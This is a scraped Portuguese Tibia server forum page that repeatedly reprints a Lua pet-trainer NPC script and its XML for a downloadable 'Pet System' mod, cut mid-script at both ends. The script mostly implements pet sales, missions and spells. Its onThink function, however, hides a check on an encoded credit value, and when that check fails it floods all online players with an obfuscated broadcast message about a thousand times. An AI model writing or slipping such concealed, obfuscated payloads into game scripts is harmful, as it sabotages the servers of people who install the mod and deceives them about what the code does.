'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots[i]) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages[i], cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "TASKS AND MISSIONS HERE!!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) Pet-trainer.xml (em npc) <?xml version="1.0" encoding="UTF-8"?> <npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/> <parameters> <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/> </parameters> </npc>

    BUGS Arrumados:


    CREDITOS:
    Delyria = 90%
    FoX B. = 10%

    *SCan Do Arquivo

    Gostou? REP+
    Petsystem~MOD.zip
  5. Gostei
    Fox B. recebeu reputação de Natanael Beckman em War Of Emperium   
    Nome: War Of Emperium * Completo
    Versão: 8.54~8.60 (por enquanto testado apenas em Tfs 0.4)
    Ultilidade: War entre Guilds (destruir 3 torres para conquistar o castelo e ganhar o prêmio)

    STAFF : por favor criem uma seção chamada (sistemas) para sistemas completos como este por exemplo, entre outros...

    Bem, xega de conversa e vamos ao que intereça...



    Scan Do War Of Emperium!

    Creditos: Mateksoft

    Obrigado renato por lembrar!
    War Of Emperium ~ Completo.zip
  6. Gostei
    Fox B. recebeu reputação de faelzb em Pet system ~ By Delyria   
    [8.54~60][Tfs(testei)]Pet System




    Nome: Pet System
    Versão: 8.5~8.54~8.60
    Descrição: Pet System basiado apenas nos MODS(não requer absolutamente mais nada, apenas mold) bem, não é compacto em apenas um arquivo e sim em varios dentro da pasta MODS, é um sistema bem eficiente que possui:




    Bem, vamos ao que intereça agora?
    Irei Colocar aqui agora o Patch + video de como instalar (tive coragem de fazer um video Oo) - Infelismente não tenho como por o PET system funfando aqui, pois meu pc está muito ruim, já vai ser dificil colocar o video imagina tibia rsrs.



    COMANDOS!



    NPC PET TRAINER (Npc reviver)

    Pet-trainer.lua (em npc/scripts)

    local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('Your Pet needs to be online to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) if(reExp > 0) then doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots[i]) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages[i], cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "TASKS AND MISSIONS HERE!!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) Pet-trainer.xml (em npc) <?xml version="1.0" encoding="UTF-8"?> <npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/> <parameters> <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/> </parameters> </npc>

    BUGS Arrumados:


    CREDITOS:
    Delyria = 90%
    FoX B. = 10%

    *SCan Do Arquivo

    Gostou? REP+
    Petsystem~MOD.zip
  7. Gostei
    Fox B. recebeu reputação de JonnySeeker em War Of Emperium   
    Nome: War Of Emperium * Completo
    Versão: 8.54~8.60 (por enquanto testado apenas em Tfs 0.4)
    Ultilidade: War entre Guilds (destruir 3 torres para conquistar o castelo e ganhar o prêmio)

    STAFF : por favor criem uma seção chamada (sistemas) para sistemas completos como este por exemplo, entre outros...

    Bem, xega de conversa e vamos ao que intereça...



    Scan Do War Of Emperium!

    Creditos: Mateksoft

    Obrigado renato por lembrar!
    War Of Emperium ~ Completo.zip
  8. Gostei
    Fox B. recebeu reputação de Grilo em Qual Website utilizar? [8.70]   
    O gesior compativel com a versão 8.70 do tibia é o Gesior Acc 0.3.8

    TFS 0.2.10 Mystic Spirit Client: 8.7
    TFS 0.2.9 Mystic Spirit Client: 8.7

    Essas são as 2 versão do TFS mystic spirit

    Download do Gesior

    Ps: Após baixar, faça o Scan!
  9. Gostei
    Fox B. recebeu reputação de ricardo3 em War Of Emperium   
    Nome: War Of Emperium * Completo
    Versão: 8.54~8.60 (por enquanto testado apenas em Tfs 0.4)
    Ultilidade: War entre Guilds (destruir 3 torres para conquistar o castelo e ganhar o prêmio)

    STAFF : por favor criem uma seção chamada (sistemas) para sistemas completos como este por exemplo, entre outros...

    Bem, xega de conversa e vamos ao que intereça...



    Scan Do War Of Emperium!

    Creditos: Mateksoft

    Obrigado renato por lembrar!
    War Of Emperium ~ Completo.zip
  10. Gostei
    Fox B. recebeu reputação de Ayna em Pet system ~ By Delyria   
    [8.54~60][Tfs(testei)]Pet System




    Nome: Pet System
    Versão: 8.5~8.54~8.60
    Descrição: Pet System basiado apenas nos MODS(não requer absolutamente mais nada, apenas mold) bem, não é compacto em apenas um arquivo e sim em varios dentro da pasta MODS, é um sistema bem eficiente que possui:




    Bem, vamos ao que intereça agora?
    Irei Colocar aqui agora o Patch + video de como instalar (tive coragem de fazer um video Oo) - Infelismente não tenho como por o PET system funfando aqui, pois meu pc está muito ruim, já vai ser dificil colocar o video imagina tibia rsrs.



    COMANDOS!



    NPC PET TRAINER (Npc reviver)

    Pet-trainer.lua (em npc/scripts)

    local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('Your Pet needs to be online to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) if(reExp > 0) then doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots[i]) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages[i], cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose 